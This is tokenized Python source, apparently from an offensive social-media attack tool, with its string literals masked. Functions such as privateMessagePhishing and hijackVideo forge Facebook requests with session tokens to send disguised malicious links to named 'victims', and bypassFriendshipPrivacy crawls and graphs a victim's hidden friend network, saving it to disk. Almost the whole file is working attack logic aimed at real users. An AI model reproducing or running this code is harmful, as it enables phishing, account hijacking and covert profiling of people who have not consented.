<EOL> logs ( '<STR_LIT>' ) <EOL> print '<STR_LIT>' <EOL> def hijackVideo ( videoLink , title , summary , comment , videoID , hijackedVideo , privacy ) : <EOL> c_user = getC_user ( ) <EOL> print str ( c_user ) + '<STR_LIT:\n>' <EOL> try : <EOL> fb_dtsg = set_dtsg ( ) <EOL> if ( fb_dtsg == <NUM_LIT:0> ) : <EOL> print '<STR_LIT>' <EOL> arguments = { <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : fb_dtsg , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( c_user ) , <EOL> '<STR_LIT>' : '<STR_LIT>' + str ( c_user ) + '<STR_LIT:}>' , <EOL> '<STR_LIT>' : str ( comment ) , <EOL> '<STR_LIT>' : str ( comment ) , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( videoLink ) , <EOL> '<STR_LIT>' : str ( videoLink ) , <EOL> '<STR_LIT>' : str ( videoLink ) , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( title ) , <EOL> '<STR_LIT>' : str ( summary ) , <EOL> '<STR_LIT>' : '<STR_LIT>' + videoID + '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( videoLink ) , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' + str ( hijackedVideo ) + '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT:100>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( len ( title ) ) , <EOL> '<STR_LIT>' : str ( len ( summary ) ) , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( privacy ) , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( c_user ) , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:g>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> } <EOL> datos = urlencode ( arguments ) <EOL> response = br . open ( '<STR_LIT>' , datos ) <EOL> if globalLogging : <EOL> logs ( response . read ( ) ) <EOL> except : <EOL> logs ( '<STR_LIT>' ) <EOL> print '<STR_LIT>' <EOL> def getTime ( ) : <EOL> hour = datetime . datetime . strftime ( datetime . datetime . now ( ) , '<STR_LIT>' ) <EOL> if int ( hour . split ( '<STR_LIT::>' ) [ <NUM_LIT:0> ] ) >= <NUM_LIT:12> : <EOL> hour += '<STR_LIT>' <EOL> else : <EOL> hour += '<STR_LIT>' <EOL> return hour <EOL> def privateMessageLink ( message , victim , subject , realLink , title , summary , imageLink , evilLink ) : <EOL> c_user = getC_user ( ) <EOL> try : <EOL> fb_dtsg = set_dtsg ( ) <EOL> if ( fb_dtsg == <NUM_LIT:0> ) : <EOL> print '<STR_LIT>' <EOL> arguments = { <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' + c_user , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( int ( time ( ) ) ) , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : getTime ( ) , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : message , <EOL> '<STR_LIT>' : '<STR_LIT:true>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT>' + victim , <EOL> '<STR_LIT>' : subject , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : realLink , <EOL> '<STR_LIT>' : realLink , <EOL> '<STR_LIT>' : evilLink , <EOL> '<STR_LIT>' : realLink + '<STR_LIT>' , <EOL> '<STR_LIT>' : title , <EOL> '<STR_LIT>' : summary , <EOL> '<STR_LIT>' : imageLink , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : realLink , <EOL> '<STR_LIT>' : '<STR_LIT:100>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : realLink . strip ( '<STR_LIT>' ) . strip ( '<STR_LIT:/>' ) , <EOL> '<STR_LIT>' : realLink . strip ( '<STR_LIT>' ) . strip ( '<STR_LIT:/>' ) , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:3>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT:5>' , <EOL> '<STR_LIT>' : '<STR_LIT:3>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:100>' , <EOL> '<STR_LIT>' : '<STR_LIT:100>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:true>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' + str ( c_user ) , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : c_user , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : fb_dtsg , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' <EOL> } <EOL> datos = urlencode ( arguments ) <EOL> response = br . open ( '<STR_LIT>' , datos ) <EOL> if globalLogging : <EOL> logs ( response . read ( ) ) <EOL> except mechanize . HTTPError as e : <EOL> print e . code <EOL> except mechanize . URLError as e : <EOL> print e . reason . args <EOL> except : <EOL> print '<STR_LIT>' <EOL> return <EOL> def privateMessagePhishing ( victimId , message , subject , evilLink , videoLink , title , summary , videoID , hijackedVideo ) : <EOL> c_user = getC_user ( ) <EOL> print str ( c_user ) + '<STR_LIT:\n>' <EOL> try : <EOL> fb_dtsg = set_dtsg ( ) <EOL> if ( fb_dtsg == <NUM_LIT:0> ) : <EOL> print '<STR_LIT>' <EOL> arguments = { <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' + str ( c_user ) , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( message ) , <EOL> '<STR_LIT>' : '<STR_LIT:true>' , <EOL> '<STR_LIT>' : '<STR_LIT:false>' , <EOL> '<STR_LIT>' : '<STR_LIT>' + str ( victimId ) , <EOL> '<STR_LIT>' : '<STR_LIT>' + str ( c_user ) , <EOL> '<STR_LIT>' : str ( subject ) , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( videoLink ) , <EOL> '<STR_LIT>' : str ( videoLink ) , <EOL> '<STR_LIT>' : str ( evilLink ) , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( title ) , <EOL> '<STR_LIT>' : str ( summary ) , <EOL> '<STR_LIT>' : '<STR_LIT>' + videoID + '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( videoLink ) , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' + str ( hijackedVideo ) + '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' + str ( hijackedVideo ) + '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:100>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( len ( title ) ) , <EOL> '<STR_LIT>' : str ( len ( summary ) ) , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:100>' , <EOL> '<STR_LIT>' : '<STR_LIT:100>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT:2>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:true>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:0>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' + str ( victimId ) , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : str ( c_user ) , <EOL> '<STR_LIT>' : '<STR_LIT:1>' , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT:c>' , <EOL> '<STR_LIT>' : fb_dtsg , <EOL> '<STR_LIT>' : '<STR_LIT>' , <EOL> } <EOL> datos = urlencode ( arguments ) <EOL> response = br . open ( '<STR_LIT>' , datos ) <EOL> if globalLogging : <EOL> logs ( response . read ( ) ) <EOL> except mechanize . HTTPError as e : <EOL> print e . code <EOL> except mechanize . URLError as e : <EOL> print e . reason . args <EOL> except : <EOL> print '<STR_LIT>' <EOL> return <EOL> def linkFriends ( victim ) : <EOL> friends = [ ] <EOL> root = '<STR_LIT>' <EOL> directory = victim <EOL> delay = <NUM_LIT:1> <EOL> linkedFile = open ( os . path . join ( root , directory , victim + "<STR_LIT>" ) , "<STR_LIT:wb>" ) <EOL> try : <EOL> persons = open ( os . path . join ( root , directory , victim + "<STR_LIT>" ) , "<STR_LIT:rb>" ) <EOL> except : <EOL> print '<STR_LIT>' , <EOL> print '<STR_LIT>' % victim , <EOL> logs ( str ( victim ) + '<STR_LIT>' ) <EOL> return <EOL> while True : <EOL> linea = persons . readline ( ) <EOL> if not linea : <EOL> break <EOL> friends . append ( linea . strip ( "<STR_LIT>" ) ) <EOL> persons . close ( ) <EOL> for individuals in friends : <EOL> try : <EOL> response = br . open ( '<STR_LIT>' + individuals ) <EOL> resultado = response . read ( ) <EOL> json_dump = json . loads ( resultado ) <EOL> try : <EOL> friend = json_dump [ '<STR_LIT>' ] + '<STR_LIT:U+0020>' + json_dump [ '<STR_LIT:name>' ] + '<STR_LIT:U+0020>' + json_dump [ '<STR_LIT>' ] + '<STR_LIT:U+0020>' + json_dump [ '<STR_LIT>' ] <EOL> print friend <EOL> linkedFile . write ( MyParser . htmlFormat ( json_dump ) ) <EOL> except : <EOL> try : <EOL> print '<STR_LIT>' % json_dump [ '<STR_LIT:username>' ] + '<STR_LIT:U+0020>' + json_dump [ '<STR_LIT:name>' ] + '<STR_LIT:U+0020>' + json_dump [ '<STR_LIT>' ] + '<STR_LIT:U+0020>' + json_dump [ '<STR_LIT>' ] <EOL> except : <EOL> print '<STR_LIT>' % individuals <EOL> except mechanize . HTTPError as e : <EOL> print e . code <EOL> print '<STR_LIT>' % delay <EOL> sleep ( delay ) <EOL> delay += <NUM_LIT:1> <EOL> except mechanize . URLError as e : <EOL> print e . reason . args <EOL> print '<STR_LIT>' % delay <EOL> sleep ( delay ) <EOL> delay += <NUM_LIT:1> <EOL> linkedFile . close ( ) <EOL> def getName ( userId ) : <EOL> try : <EOL> response = br . open ( '<STR_LIT>' + str ( userId ) ) <EOL> data = response . read ( ) <EOL> match = re . search ( "<STR_LIT>" , data ) <EOL> if match is not None : <EOL> start = match . end ( ) + <NUM_LIT> <EOL> matchBis = re . search ( '<STR_LIT>' , data [ start : ] ) <EOL> if matchBis is not None : <EOL> return data [ start : start + matchBis . start ( ) ] <EOL> return userId <EOL> except mechanize . HTTPError as e : <EOL> print str ( e . code ) <EOL> return userId <EOL> except mechanize . URLError as e : <EOL> print str ( e . reason . args ) <EOL> return userId <EOL> except : <EOL> return userId <EOL> def mkdir ( directory , root ) : <EOL> import os <EOL> if os . path . exists ( os . path . join ( root , directory ) ) : <EOL> return <EOL> else : <EOL> os . makedirs ( os . path . join ( root , directory ) ) <EOL> def saveObjects ( victim , matrix , ref ) : <EOL> path = os . path . join ( "<STR_LIT>" , victim , "<STR_LIT>" , victim ) <EOL> f = open ( path , "<STR_LIT:wb>" ) <EOL> pickle . dump ( matrix , f ) <EOL> g = open ( path + '<STR_LIT>' , "<STR_LIT:wb>" ) <EOL> pickle . dump ( ref , g ) <EOL> g . close ( ) <EOL> f . close ( ) <EOL> def loadObjects ( victim ) : <EOL> try : <EOL> path = os . path . join ( "<STR_LIT>" , victim , "<STR_LIT>" , victim ) <EOL> f = open ( path , "<STR_LIT:rb>" ) <EOL> A = pickle . load ( f ) <EOL> g = open ( path + '<STR_LIT>' , "<STR_LIT:rb>" ) <EOL> ref = pickle . load ( g ) <EOL> g . close ( ) <EOL> f . close ( ) <EOL> return A , ref <EOL> except : <EOL> return [ ] , { } <EOL> def reAnalyzeGraph ( victim ) : <EOL> try : <EOL> f = open ( os . path . join ( "<STR_LIT>" , victim , "<STR_LIT>" , victim + "<STR_LIT>" ) , "<STR_LIT:rb>" ) <EOL> labelGraph = pickle . load ( f ) <EOL> f . close ( ) <EOL> except : <EOL> logs ( '<STR_LIT>' ) <EOL> print '<STR_LIT>' <EOL> return <EOL> root = '<STR_LIT>' <EOL> directory = victim <EOL> try : <EOL> partition = community . best_partition ( labelGraph ) <EOL> for i in set ( partition . values ( ) ) : <EOL> print "<STR_LIT>" , i <EOL> members = [ nodes for nodes in partition . keys ( ) if partition [ nodes ] == i ] <EOL> egonet = labelGraph . subgraph ( set ( members ) ) <EOL> print sorted ( egonet . nodes ( ) , reverse = False ) <EOL> print sorted ( egonet . edges ( ) , reverse = False ) <EOL> nx . draw_spring ( egonet , node_color = np . linspace ( <NUM_LIT:0> , <NUM_LIT:1> , len ( egonet . nodes ( ) ) ) , edge_color = '<STR_LIT>' , with_labels = True ) <EOL> plt . savefig ( os . path . join ( root , directory , victim + "<STR_LIT>" + str ( i ) + "<STR_LIT>" ) ) <EOL> plt . savefig ( os . path . join ( root , directory , victim + "<STR_LIT>" + str ( i ) + "<STR_LIT>" ) ) <EOL> write_dot ( egonet , os . path . join ( root , directory , victim + "<STR_LIT>" + str ( i ) + "<STR_LIT>" ) ) <EOL> plt . show ( ) <EOL> raw_input ( '<STR_LIT>' ) <EOL> except : <EOL> logs ( '<STR_LIT>' ) <EOL> print '<STR_LIT>' <EOL> return <EOL> def analyzeGraph ( victim ) : <EOL> root = '<STR_LIT>' <EOL> directory = victim <EOL> mkdir ( directory , root ) <EOL> edges = { } <EOL> edgesValues = { } <EOL> nodekeys = { } <EOL> userNames = [ ] <EOL> commonPages = { } <EOL> A , idkeys = loadObjects ( victim ) <EOL> if A != [ ] : <EOL> myGraph = nx . from_numpy_matrix ( A ) <EOL> nodes = myGraph . nodes ( ) <EOL> i = <NUM_LIT:0.0> <EOL> percentage = <NUM_LIT:0.0> <EOL> print '<STR_LIT>' , <EOL> print '<STR_LIT>' <EOL> for elements in idkeys . keys ( ) : <EOL> try : <EOL> user = getName ( elements ) <EOL> commonPages [ user ] = corePagesLike ( victim , elements ) <EOL> userNames . append ( user ) <EOL> nodekeys [ idkeys [ elements ] ] = user <EOL> percentage = ( i * <NUM_LIT> ) / len ( idkeys . keys ( ) ) <EOL> flush ( ) <EOL> print '<STR_LIT>' % ( i , len ( idkeys . keys ( ) ) , percentage ) , <EOL> i += <NUM_LIT:1> <EOL> except : <EOL> continue <EOL> reference = open ( os . path . join ( root , directory , victim + "<STR_LIT>" ) , "<STR_LIT:wb>" ) <EOL> for users in nodekeys . keys ( ) : <EOL> try : <EOL> line = str ( nodekeys [ users ] ) + '<STR_LIT>' + str ( users ) <EOL> reference . write ( line + '<STR_LIT:\n>' ) <EOL> except : <EOL> continue <EOL> reference . close ( ) <EOL> for node in nodes : <EOL> try : <EOL> edges [ node ] = myGraph . degree ( node ) <EOL> if edgesValues . has_key ( edges [ node ] ) : <EOL> edgesValues [ edges [ node ] ] . append ( node ) <EOL> else : <EOL> edgesValues [ edges [ node ] ] = [ node ] <EOL> except : <EOL> continue <EOL> for values in sorted ( edgesValues . keys ( ) , reverse = True ) : <EOL> try : <EOL> print str ( values ) + '<STR_LIT>' , <EOL> for nodes in edgesValues [ values ] : <EOL> print str ( nodes ) + '<STR_LIT:U+002CU+0020>' , <EOL> print '<STR_LIT:\n>' <EOL> except : <EOL> continue <EOL> print nx . is_connected ( myGraph ) <EOL> print nx . number_connected_components ( myGraph ) <EOL> ccs = nx . clustering ( myGraph ) <EOL> print ccs <EOL> print sum ( ccs ) / len ( ccs ) <EOL> labelNodes = myGraph . nodes ( ) <EOL> labelEdges = myGraph . edges ( ) <EOL> labelGraph = nx . Graph ( ) <EOL> for label in labelNodes : <EOL> try : <EOL> labelGraph . add_node ( nodekeys [ int ( label ) ] , likes = commonPages [ nodekeys [ int ( label ) ] ] ) <EOL> except : <EOL> continue <EOL> for labelE in labelEdges : <EOL> try : <EOL> labelGraph . add_edge ( nodekeys [ int ( labelE [ <NUM_LIT:0> ] ) ] , nodekeys [ int ( labelE [ <NUM_LIT:1> ] ) ] ) <EOL> except : <EOL> continue <EOL> try : <EOL> nx . draw_spring ( labelGraph , node_color = np . linspace ( <NUM_LIT:0> , <NUM_LIT:1> , len ( labelGraph . nodes ( ) ) ) , edge_color = np . linspace ( <NUM_LIT:0> , <NUM_LIT:1> , len ( labelGraph . edges ( ) ) ) , with_labels = True ) <EOL> plt . savefig ( os . path . join ( root , directory , victim + "<STR_LIT>" ) ) <EOL> plt . savefig ( os . path . join ( root , directory , victim + "<STR_LIT>" ) ) <EOL> write_dot ( labelGraph , os . path . join ( root , directory , victim + "<STR_LIT>" ) ) <EOL> plt . show ( ) <EOL> except : <EOL> print '<STR_LIT>' <EOL> f = open ( os . path . join ( "<STR_LIT>" , victim , "<STR_LIT>" , victim + "<STR_LIT>" ) , "<STR_LIT:wb>" ) <EOL> pickle . dump ( labelGraph , f ) <EOL> f . close ( ) <EOL> partition = community . best_partition ( labelGraph ) <EOL> for i in set ( partition . values ( ) ) : <EOL> try : <EOL> print "<STR_LIT>" , i <EOL> members = [ nodes for nodes in partition . keys ( ) if partition [ nodes ] == i ] <EOL> except : <EOL> continue <EOL> '''<STR_LIT>''' <EOL> try : <EOL> egonet = labelGraph . subgraph ( set ( members ) ) <EOL> print sorted ( egonet . nodes ( ) , reverse = False ) <EOL> print sorted ( egonet . edges ( ) , reverse = False ) <EOL> nx . draw_spring ( egonet , node_color = np . linspace ( <NUM_LIT:0> , <NUM_LIT:1> , len ( egonet . nodes ( ) ) ) , edge_color = '<STR_LIT>' , with_labels = True ) <EOL> plt . savefig ( os . path . join ( root , directory , victim + "<STR_LIT>" + str ( i ) + "<STR_LIT>" ) ) <EOL> plt . savefig ( os . path . join ( root , directory , victim + "<STR_LIT>" + str ( i ) + "<STR_LIT>" ) ) <EOL> write_dot ( egonet , os . path . join ( root , directory , victim + "<STR_LIT>" + str ( i ) + "<STR_LIT>" ) ) <EOL> plt . show ( ) <EOL> except : <EOL> print '<STR_LIT>' <EOL> raw_input ( '<STR_LIT>' ) <EOL> else : <EOL> logs ( '<STR_LIT>' ) <EOL> print '<STR_LIT>' <EOL> return <EOL> def bypassFriendshipPrivacyPlot ( victim , transitive ) : <EOL> coleccion = { } <EOL> nodeID = <NUM_LIT:0> <EOL> root = '<STR_LIT>' <EOL> directory = str ( victim ) <EOL> mkdir ( directory , root ) <EOL> myGraph = nx . Graph ( ) <EOL> coleccion [ victim ] = nodeID <EOL> victima = nodeID <EOL> myGraph . add_node ( victima ) <EOL> nodeID += <NUM_LIT:1> <EOL> percentage = <NUM_LIT:0.0> <EOL> friendships = [ ] <EOL> visited = [ ] <EOL> try : <EOL> friendshipFile = open ( os . path . join ( root , directory , victim + "<STR_LIT>" ) , "<STR_LIT:rb>" ) <EOL> while True : <EOL> linea = friendshipFile . readline ( ) <EOL> if not linea : <EOL> break <EOL> visited . append ( linea . strip ( "<STR_LIT>" ) ) <EOL> friendshipFile . close ( ) <EOL> A , coleccion = loadObjects ( victim ) <EOL> if A == [ ] : <EOL> logs ( "<STR_LIT>" ) <EOL> print "<STR_LIT>" <EOL> return <EOL> else : <EOL> myGraph = nx . from_numpy_matrix ( A ) <EOL> except : <EOL> friendshipFile = open ( os . path . join ( root , directory , victim + "<STR_LIT>" ) , "<STR_LIT:wb>" ) <EOL> friendshipFile . close ( ) <EOL> try : <EOL> result = coreFriendshipPrivacy ( victim , transitive ) <EOL> except : <EOL> print '<STR_LIT>' <EOL> return <EOL> for individuos in result : <EOL> if individuos not in visited : <EOL> if coleccion . has_key ( individuos ) == False : <EOL> nodo = nodeID <EOL> nodeID += <NUM_LIT:1> <EOL> coleccion [ individuos ] = nodo <EOL> else : <EOL> nodo = coleccion [ individuos ] <EOL> if coleccion . has_key ( transitive ) == False : <EOL> transitivo = nodeID <EOL> nodeID += <NUM_LIT:1> <EOL> coleccion [ transitive ] = transitivo <EOL> else : <EOL> transitivo = coleccion [ transitive ] <EOL> myGraph . add_node ( nodo ) <EOL> myGraph . add_edge ( nodo , transitivo ) <EOL> friendships . append ( individuos ) <EOL> i = <NUM_LIT:0.0> <EOL> print '<STR_LIT>' , <EOL> for friends in friendships : <EOL> percentage = ( i * <NUM_LIT> ) / len ( friendships ) <EOL> flush ( ) <EOL> print '<STR_LIT>' % ( i , len ( friendships ) , percentage ) , <EOL> i += <NUM_LIT:1> <EOL> if friends not in visited : <EOL> state = True <EOL> while state == True : <EOL> try : <EOL> result = coreFriendshipPrivacy ( victim , friends ) <EOL> state = False <EOL> except signalCaught as e : <EOL> state = False <EOL> print '<STR_LIT>' <EOL> print '<STR_LIT>' % e . args [ <NUM_LIT:0> ] <EOL> return <EOL> except : <EOL> logs ( '<STR_LIT>' ) <EOL> print '<STR_LIT>' , <EOL> raw_input ( '<STR_LIT>' ) , <EOL> for element in result : <EOL> if element not in friendships : <EOL> if coleccion . has_key ( friends ) == False : <EOL> nodo = nodeID <EOL> nodeID += <NUM_LIT:1> <EOL> coleccion [ friends ] = nodo <EOL> else : <EOL> nodo = coleccion [ friends ] <EOL> if coleccion . has_key ( element ) == False : <EOL> transitivo = nodeID <EOL> nodeID += <NUM_LIT:1> <EOL> coleccion [ element ] = transitivo <EOL> else : <EOL> transitivo = coleccion [ element ] <EOL> myGraph . add_node ( nodo ) <EOL> myGraph . add_edge ( nodo , transitivo ) <EOL> friendships . append ( element ) <EOL> visited . append ( friends ) <EOL> try : <EOL> friendshipFile = open ( os . path . join ( root , directory , victim + "<STR_LIT>" ) , "<STR_LIT>" ) <EOL> except : <EOL> friendshipFile = open ( os . path . join ( root , directory , victim + "<STR_LIT>" ) , "<STR_LIT:wb>" ) <EOL> for friends in friendships : <EOL> if coleccion . has_key ( friends ) == False : <EOL> transitivo = nodeID <EOL> nodeID += <NUM_LIT:1> <EOL> coleccion [ friends ] = transitivo <EOL> else : <EOL> transitivo = coleccion [ friends ] <EOL> myGraph . add_edge ( victima , transitivo ) <EOL> friendshipFile . write ( str ( friends ) + '<STR_LIT:\n>' ) <EOL> friendshipFile . close ( ) <EOL> mkdir ( '<STR_LIT>' , os . path . join ( root , directory ) ) <EOL> A = nx . adj_matrix ( myGraph ) <EOL> saveObjects ( victim , A , coleccion ) <EOL> nx . draw_spring ( myGraph , node_color = np . linspace ( <NUM_LIT:0> , <NUM_LIT:1> , len ( myGraph . nodes ( ) ) ) , edge_color = np . linspace ( <NUM_LIT:0> , <NUM_LIT:1> , len ( myGraph . edges ( ) ) ) , with_labels = True ) <EOL> plt . savefig ( os . path . join ( root , directory , victim + "<STR_LIT>" ) ) <EOL> plt . savefig ( os . path . join ( root , directory , victim + "<STR_LIT>" ) ) <EOL> write_dot ( myGraph , os . path . join ( root , directory , victim + "<STR_LIT>" ) ) <EOL> plt . show ( ) <EOL> def bypassFriendshipPrivacy ( victim , transitive ) : <EOL> percentage = <NUM_LIT:0.0> <EOL> friendships = [ ] <EOL> visited = [ ] <EOL> try : <EOL> friendshipFile = open ( os . path . join ( "<STR_LIT>" , victim + "<STR_LIT>" ) , "<STR_LIT:rb>" ) <EOL> while True : 